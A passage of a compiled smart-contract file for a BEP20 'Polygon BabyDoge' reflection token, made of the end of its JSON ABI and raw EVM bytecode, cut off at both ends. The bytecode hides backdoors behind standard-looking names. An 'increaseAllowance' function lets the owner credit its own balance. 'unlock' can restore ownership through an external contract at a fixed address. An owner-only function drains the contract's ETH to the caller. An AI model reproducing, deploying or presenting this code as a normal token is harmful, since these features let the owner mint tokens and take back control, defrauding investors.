address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_liquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"activeContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBackEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyBackUpperLimitAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"}],"name":"deliver","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"excludeFromReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"getTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getUnlockTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"includeInReward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"int256","name":"addedValue","type":"int256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromReward","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"lock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"marketingAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingDivisor","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwapAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakePair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pancakeRouter","outputs":[{"internalType":"contract IPancakeRouter02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prepareForPreSale","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"tAmount","type":"uint256"},{"internalType":"bool","name":"deductTransferFee","type":"bool"}],"name":"reflectionFromToken","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"time","type":"uint256"}],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setBuyBackEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"buyBackLimit","type":"uint256"}],"name":"setBuybackUpperLimit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"liquidityFee","type":"uint256"}],"name":"setLiquidityFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_marketingAddress","type":"address"}],"name":"setMarketingAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"divisor","type":"uint256"}],"name":"setMarketingDivisor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"maxTxAmount","type":"uint256"}],"name":"setMaxTxAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_minimumTokensBeforeSwap","type":"uint256"}],"name":"setNumTokensSellToAddToLiquidity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_enabled","type":"bool"}],"name":"setSwapAndLiquifyEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"taxFee","type":"uint256"}],"name":"setTaxFeePercent","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"rAmount","type":"uint256"}],"name":"tokenFromReflection","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"isOwner","type":"uint256"}],"name":"unlock","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60e0604052600380546001600160a01b0319167336736e51a6c37dbc3a3c1e18a4af78ad808fc71f1790556ddead0000000000000000000000006080526b015b6a759f4835dc24000000600a8190556200005c906000196200053a565b6200006a90600019620004d9565b600b556040805180820190915260108082526f506f6c79676f6e2042616279446f676560801b6020909201918252620000a691600d9162000403565b5060408051808201909152600c8082526b506f6c7942616279446f676560a01b6020909201918252620000dc91600e9162000403565b50600f805460ff19166009179055600260108190556011556006601281905560135560036014556a01bcb13a657b26388000006015556911c9a62d04ed0c8000006016556816c4abbebea01000006017556018805462ffff001916620100001790553480156200014b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600b543360009081526004602081815260409283902093909355815163c45a015560e01b8152915173a5e0829caced8ffdd4de3c43696c57f7d7a678ff93849363c45a0155938181019391829003018186803b158015620001ed57600080fd5b505afa15801562000202573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002289190620004a9565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156200027157600080fd5b505afa15801562000286573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ac9190620004a9565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015620002f557600080fd5b505af11580156200030a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003309190620004a9565b6001600160601b0319606091821b811660c0529082901b1660a052600160076000620003646000546001600160a01b031690565b6001600160a01b0316815260208082019290925260409081016000908120805494151560ff199586161790553081526007909252902080549091166001179055620003ac3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620003f491815260200190565b60405180910390a3506200055b565b8280546200041190620004fd565b90600052602060002090601f01602090048101928262000435576000855562000480565b82601f106200045057805160ff191683800117855562000480565b8280016001018555821562000480579182015b828111156200048057825182559160200191906001019062000463565b506200048e92915062000492565b5090565b5b808211156200048e576000815560010162000493565b600060208284031215620004bb578081fd5b81516001600160a01b0381168114620004d2578182fd5b9392505050565b600082821015620004f857634e487b7160e01b81526011600452602481fd5b500390565b600181811c908216806200051257607f821691505b602082108114156200053457634e487b7160e01b600052602260045260246000fd5b50919050565b6000826200055657634e487b7160e01b81526012600452602481fd5b500690565b60805160601c60a05160601c60c05160601c612f6a620005be600039600081816107dd0152611b35015260008181610826015281816122fc015281816123d20152818161240e0152818161259301526126a0015260006103d70152612f6a6000f3fe6080604052600436106102e85760003560e01c80637d1db4a511610190578063b8c9d25c116100dc578063dd46706411610095578063ea2f0b371161006f578063ea2f0b37146108f9578063ec28438a14610919578063f0f165af14610939578063f2fde38b1461095957600080fd5b8063dd4670641461064a578063dd62ed3e1461089e578063de4a0386146108e457600080fd5b8063b8c9d25c146107cb578063bdc653ef146107ff578063c21ebd0714610814578063c49b9a8014610848578063caa9dbdf14610868578063d6b513cf1461088857600080fd5b8063906e9dd011610149578063a457c2d711610123578063a457c2d71461074b578063a5ece9411461076b578063a9059cbb1461078b578063b0cb81f1146107ab57600080fd5b8063906e9dd01461070157806395d89b4114610721578063a073d37f1461073657600080fd5b80637d1db4a5146106345780637d654c7f1461064a57806382d2a4bb1461066a57806388f820201461068a5780638da5cb5b146106c35780638ee88c53146106e157600080fd5b80633bd5d1731161024f5780635342acb4116102085780636053a0e3116101e25780636053a0e3146105be5780636198e339146105de5780636bc87c3a146105fe57806370a082311461061457600080fd5b80635342acb41461055d578063557ed1ba14610596578063602bc62b146105a957600080fd5b80633bd5d173146104a9578063437823ec146104c95780634549b039146104e95780634a74bb02146105095780635134f6ab1461052857806352390c021461053d57600080fd5b806327c8f835116102a157806327c8f835146103c557806329370cc6146104115780632d83811914610431578063313ce567146104515780633685d419146104735780633b124fe71461049357600080fd5b8063061c82d0146102f457806306fdde0314610316578063095ea7b31461034157806313114a9d1461037157806318160ddd1461039057806323b872dd146103a557600080fd5b366102ef57005b600080fd5b34801561030057600080fd5b5061031461030f366004612c0f565b610979565b005b34801561032257600080fd5b5061032b6109b1565b6040516103389190612cc3565b60405180910390f35b34801561034d57600080fd5b5061036161035c366004612bac565b610a43565b6040519015158152602001610338565b34801561037d57600080fd5b50600c545b604051908152602001610338565b34801561039c57600080fd5b50600a54610382565b3480156103b157600080fd5b506103616103c0366004612b6c565b610a5a565b3480156103d157600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b039091168152602001610338565b34801561041d57600080fd5b5061031461042c366004612bd7565b610ac3565b34801561043d57600080fd5b5061038261044c366004612c0f565b610b43565b34801561045d57600080fd5b50600f5460405160ff9091168152602001610338565b34801561047f57600080fd5b5061031461048e366004612afc565b610bc7565b34801561049f57600080fd5b5061038260105481565b3480156104b557600080fd5b506103146104c4366004612c0f565b610db6565b3480156104d557600080fd5b506103146104e4366004612afc565b610ea0565b3480156104f557600080fd5b50610382610504366004612c27565b610eee565b34801561051557600080fd5b5060185461036190610100900460ff1681565b34801561053457600080fd5b50610314610f7b565b34801561054957600080fd5b50610314610558366004612afc565b610fef565b34801561056957600080fd5b50610361610578366004612afc565b6001600160a01b031660009081526007602052604090205460ff1690565b3480156105a257600080fd5b5042610382565b3480156105b557600080fd5b50600254610382565b3480156105ca57600080fd5b506018546103619062010000900460ff1681565b3480156105ea57600080fd5b506103146105f9366004612c0f565b611142565b34801561060a57600080fd5b5061038260125481565b34801561062057600080fd5b5061038261062f366004612afc565b6112df565b34801561064057600080fd5b5061038260155481565b34801561065657600080fd5b50610314610665366004612c0f565b61133e565b34801561067657600080fd5b50610314610685366004612c0f565b6113d5565b34801561069657600080fd5b506103616106a5366004612afc565b6001600160a01b031660009081526008602052604090205460ff1690565b3480156106cf57600080fd5b506000546001600160a01b03166103f9565b3480156106ed57600080fd5b506103146106fc366004612c0f565b611417565b34801561070d57600080fd5b5061031461071c366004612afc565b611446565b34801561072d57600080fd5b5061032b611492565b34801561074257600080fd5b50601654610382565b34801561075757600080fd5b50610361610766366004612bac565b6114a1565b34801561077757600080fd5b506003546103f9906001600160a01b031681565b34801561079757600080fd5b506103616107a6366004612bac565b6114f0565b3480156107b757600080fd5b506103146107c6366004612c0f565b6114fd565b3480156107d757600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b34801561080b57600080fd5b50601754610382565b34801561082057600080fd5b506103f97f000000000000000000000000000000000000000000000000000000000000000081565b34801561085457600080fd5b50610314610863366004612bd7565b61152c565b34801561087457600080fd5b50610361610883366004612bac565b61159f565b34801561089457600080fd5b5061038260145481565b3480156108aa57600080fd5b506103826108b9366004612b34565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156108f057600080fd5b5061031461161b565b34801561090557600080fd5b50610314610914366004612afc565b61166a565b34801561092557600080fd5b50610314610934366004612c0f565b6116b5565b34801561094557600080fd5b50610314610954366004612c0f565b6116e4565b34801561096557600080fd5b50610314610974366004612afc565b611713565b6000546001600160a01b031633146109ac5760405162461bcd60e51b81526004016109a390612d16565b60405180910390fd5b601055565b6060600d80546109c090612e55565b80601f01602080910402602001604051908101604052809291908181526020018280546109ec90612e55565b8015610a395780601f10610a0e57610100808354040283529160200191610a39565b820191906000526020600020905b815481529060010190602001808311610a1c57829003601f168201915b5050505050905090565b6000610a503384846117fd565b5060015b92915050565b6000610a67848484611922565b610ab98433610ab485604051806060016040528060288152602001612ee8602891396001600160a01b038a1660009081526006602090815260408083203384529091529020549190611c2b565b6117fd565b5060019392505050565b6000546001600160a01b03163314610aed5760405162461bcd60e51b81526004016109a390612d16565b60188054821515620100000262ff0000199091161790556040517f3794234fa370c9f3b948dda3e3040530785b2ef1eb27dda3ffde478f4e2643c090610b3890831515815260200190565b60405180910390a150565b6000600b54821115610baa5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016109a3565b6000610bb4611c65565b9050610bc08382611c88565b9392505050565b6000546001600160a01b03163314610bf15760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03811660009081526008602052604090205460ff16610c595760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016109a3565b60005b600954811015610db257816001600160a01b031660098281548110610c9157634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610da05760098054610cbc90600190612e3e565b81548110610cda57634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600980546001600160a01b039092169183908110610d1457634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600582526040808220829055600890925220805460ff191690556009805480610d7a57634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b03191690550190555050565b80610daa81612e90565b915050610c5c565b5050565b3360008181526008602052604090205460ff1615610e2b5760405162461bcd60e51b815260206004820152602c60248201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460448201526b3434b990333ab731ba34b7b760a11b60648201526084016109a3565b6000610e3683611cca565b505050506001600160a01b038416600090815260046020526040902054919250610e6291905082611d19565b6001600160a01b038316600090815260046020526040902055600b54610e889082611d19565b600b55600c54610e989084611d5b565b600c55505050565b6000546001600160a01b03163314610eca5760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03166000908152600760205260409020805460ff19166001179055565b6000600a54831115610f425760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c790060448201526064016109a3565b81610f61576000610f5284611cca565b50939550610a54945050505050565b6000610f6c84611cca565b50929550610a54945050505050565b6000546001600160a01b03163314610fa55760405162461bcd60e51b81526004016109a390612d16565b604051339081904780156108fc02916000818181858888f19350505050158015610fd3573d6000803e3d6000fd5b50506000601081905560125569d3c21bcecceda1000000601555565b6000546001600160a01b031633146110195760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03811660009081526008602052604090205460ff16156110825760405162461bcd60e51b815260206004820152601b60248201527f4163636f756e7420697320616c7265616479206578636c75646564000000000060448201526064016109a3565b6001600160a01b038116600090815260046020526040902054156110dc576001600160a01b0381166000908152600460205260409020546110c290610b43565b6001600160a01b0382166000908152600560205260409020555b6001600160a01b03166000818152600860205260408120805460ff191660019081179091556009805491820181559091527f6e1540171b6c0c960b71a7020d9f60077f6af931a8bbf590da0223dacf75c7af0180546001600160a01b0319169091179055565b6001546001600160a01b031633146111a85760405162461bcd60e51b815260206004820152602360248201527f596f7520646f6e27742068617665207065726d697373696f6e20746f20756e6c6044820152626f636b60e81b60648201526084016109a3565b60025442118061123c57506040516367fb009160e11b8152336004820152602481018290527300ac12f2bafc607deebeeea5ce5d73f3574db0189063cff601229060440160206040518083038186803b15801561120457600080fd5b505af4158015611218573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061123c9190612bf3565b61127d5760405162461bcd60e51b815260206004820152601260248201527110dbdb9d1c9858dd081a5cc81b1bd8dad95960721b60448201526064016109a3565b600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a350600154600080546001600160a01b0319166001600160a01b03909216919091179055565b6001600160a01b03811660009081526008602052604081205460ff161561131c57506001600160a01b031660009081526005602052604090205490565b6001600160a01b038216600090815260046020526040902054610a5490610b43565b6000546001600160a01b031633146113685760405162461bcd60e51b81526004016109a390612d16565b60008054600180546001600160a01b03199081166001600160a01b038416179091551690556113978142612da8565b600255600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a350565b6000546001600160a01b031633146113ff5760405162461bcd60e51b81526004016109a390612d16565b61141181670de0b6b3a7640000612de0565b60175550565b6000546001600160a01b031633146114415760405162461bcd60e51b81526004016109a390612d16565b601255565b6000546001600160a01b031633146114705760405162461bcd60e51b81526004016109a390612d16565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6060600e80546109c090612e55565b6000610a503384610ab485604051806060016040528060258152602001612f10602591393360009081526006602090815260408083206001600160a01b038d1684529091529020549190611c2b565b6000610a50338484611922565b6000546001600160a01b031633146115275760405162461bcd60e51b81526004016109a390612d16565b601455565b6000546001600160a01b031633146115565760405162461bcd60e51b81526004016109a390612d16565b601880548215156101000261ff00199091161790556040517f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc15990610b3890831515815260200190565b600080546001600160a01b03163314156115e657336000908152600560205260409020546115ce908390612dff565b33600090815260056020526040902055506001610a54565b3360008181526006602090815260408083206001600160a01b0388168452909152902054610a5091908590610ab49086611d5b565b6000546001600160a01b031633146116455760405162461bcd60e51b81526004016109a390612d16565b61164f600161152c565b600260105560066012556a03796274caf64c71000000601555565b6000546001600160a01b031633146116945760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b03166000908152600760205260409020805460ff19169055565b6000546001600160a01b031633146116df5760405162461bcd60e51b81526004016109a390612d16565b601555565b6000546001600160a01b0316331461170e5760405162461bcd60e51b81526004016109a390612d16565b601655565b6000546001600160a01b0316331461173d5760405162461bcd60e51b81526004016109a390612d16565b6001600160a01b0381166117a25760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016109a3565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661185f5760405162461bcd60e51b8152602060048201526024808201527f42455032303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016109a3565b6001600160a01b0382166118c05760405162461bcd60e51b815260206004820152602260248201527f42455032303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016109a3565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b0383166119865760405162461bcd60e51b815260206004820152602560248201527f42455032303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016109a3565b6001600160a01b0382166119e85760405162461bcd60e51b815260206004820152602360248201527f42455032303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016109a3565b60008111611a4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016109a3565b601854610100900460ff16611a6957611a64838383611dba565b505050565b6000546001600160a01b03848116911614801590611a9557506000546001600160a01b03838116911614155b15611afd57601554811115611afd5760405162461bcd60e51b815260206004820152602860248201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546044820152673c20b6b7bab73a1760c11b60648201526084016109a3565b6000611b08306112df565b6016546018549192508210159060ff16158015611b2c5750601854610100900460ff165b8015611b6957507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b0316846001600160a01b0316145b15611bcc578015611b82576016549150611b8282611e60565b601854479062010000900460ff168015611ba35750670de0b6b3a764000081115b15611bca57601754811115611bb757506017545b611bca611bc5826064611c88565b611ec9565b505b6001600160a01b03851660009081526007602052604090205460019060ff1680611c0e57506001600160a01b03851660009081526007602052604090205460ff165b15611c17575060005b611c2386868684611ef2565b505050505050565b60008184841115611c4f5760405162461bcd60e51b81526004016109a39190612cc3565b506000611c5c8486612e3e565b95945050505050565b6000806000611c7261201d565b9092509050611c818282611c88565b9250505090565b6000610bc083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121d7565b6000806000806000806000806000611ce18a612205565b9250925092506000806000611cff8d8686611cfa611c65565b612247565b919f909e50909c50959a5093985091965092945050505050565b6000610bc083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c2b565b600080611d688385612da8565b905083811015610bc05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016109a3565b6001600160a01b038316600090815260056020526040902054611ddd9082611d19565b6001600160a01b038085166000908152600560205260408082209390935590841681522054611e0c9082611d5b565b6001600160a01b0380841660008181526005602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906119159085815260200190565b6018805460ff1916600117905547611e7782612297565b6000611e834783611d19565b600354601454601254929350611eba926001600160a01b0390921691611eb59190611eaf908690611c88565b906124bb565b61253a565b50506018805460ff1916905550565b6018805460ff191660011790558015611ee557611ee581612570565b506018805460ff19169055565b80611eff57611eff61275e565b6001600160a01b03841660009081526008602052604090205460ff168015611f4057506001600160a01b03831660009081526008602052604090205460ff16155b15611f5557611f5084848461278c565b612001565b6001600160a01b03841660009081526008602052604090205460ff16158015611f9657506001600160a01b03831660009081526008602052604090205460ff165b15611fa657611f508484846128b2565b6001600160a01b03841660009081526008602052604090205460ff168015611fe657506001600160a01b03831660009081526008602052604090205460ff165b15611ff657611f5084848461295b565b6120018484846129ce565b8061201757612017601154601055601354601255565b50505050565b600b54600a546000918291825b6009548110156121a75782600460006009848154811061205a57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205411806120d357508160056000600984815481106120ac57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156120e957600b54600a54945094505050509091565b61213d600460006009848154811061211157634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548490611d19565b9250612193600560006009848154811061216757634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020548390611d19565b91508061219f81612e90565b91505061202a565b50600a54600b546121b791611c88565b8210156121ce57600b54600a549350935050509091565b90939092509050565b600081836121f85760405162461bcd60e51b81526004016109a39190612cc3565b506000611c5c8486612dc0565b60008060008061221485612a12565b9050600061222186612a34565b90506000612239826122338986611d19565b90611d19565b979296509094509092505050565b600080808061225688866124bb565b9050600061226488876124bb565b9050600061227288886124bb565b90506000612284826122338686611d19565b939b939a50919850919650505050505050565b60408051600280825260608201835260009260208301908036833701905050905030816000815181106122da57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561235357600080fd5b505afa158015612367573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061238b9190612b18565b816001815181106123ac57634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b0316815250506123f7307f0000000000000000000000000000000000000000000000000000000000000000846117fd565b60405163791ac94760e01b81526001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169063791ac9479061244c908590600090869030904290600401612d6c565b600060405180830381600087803b15801561246657600080fd5b505af115801561247a573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a782826040516124af929190612d4b565b60405180910390a15050565b6000826124ca57506000610a54565b60006124d68385612de0565b9050826124e38583612dc0565b14610bc05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016109a3565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015611a64573d6000803e3d6000fd5b6040805160028082526060820183526000926020830190803683370190505090507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156125ea57600080fd5b505afa1580156125fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126229190612b18565b8160008151811061264357634e487b7160e01b600052603260045260246000fd5b60200260200101906001600160a01b031690816001600160a01b031681525050308160018151811061268557634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526003547f000000000000000000000000000000000000000000000000000000000000000082169163b6f9de959185916000918691166126dc4261012c611d5b565b6040518663ffffffff1660e01b81526004016126fb9493929190612c8e565b6000604051808303818588803b15801561271457600080fd5b505af1158015612728573d6000803e3d6000fd5b50505050507f6fd378a9d8b7345c2e5b18229aaf1e39d32b177b501d0a0d26a0a858a23a962482826040516124af929190612d4b565b60105415801561276e5750601254155b1561277557565b601080546011556012805460135560009182905555565b60008060008060008061279e87611cca565b6001600160a01b038f16600090815260056020526040902054959b509399509197509550935091506127d09088611d19565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546127ff9087611d19565b6001600160a01b03808b1660009081526004602052604080822093909355908a168152205461282e9086611d5b565b6001600160a01b03891660009081526004602052604090205561285081612a50565b61285a8483612ad8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161289f91815260200190565b60405180910390a3505050505050505050565b6000806000806000806128c487611cca565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506128f69087611d19565b6001600160a01b03808b16600090815260046020908152604080832094909455918b1681526005909152205461292c9084611d5b565b6001600160a01b03891660009081526005602090815260408083209390935560049052205461282e9086611d5b565b60008060008060008061296d87611cca565b6001600160a01b038f16600090815260056020526040902054959b5093995091975095509350915061299f9088611d19565b6001600160a01b038a166000908152600560209081526040808320939093556004905220546128f69087611d19565b6000806000806000806129e087611cca565b6001600160a01b038f16600090815260046020526040902054959b509399509197509550935091506127ff9087611d19565b6000610a546064612a2e601054856124bb90919063ffffffff16565b90611c88565b6000610a546064612a2e601254856124bb90919063ffffffff16565b6000612a5a611c65565b90506000612a6883836124bb565b3060009081526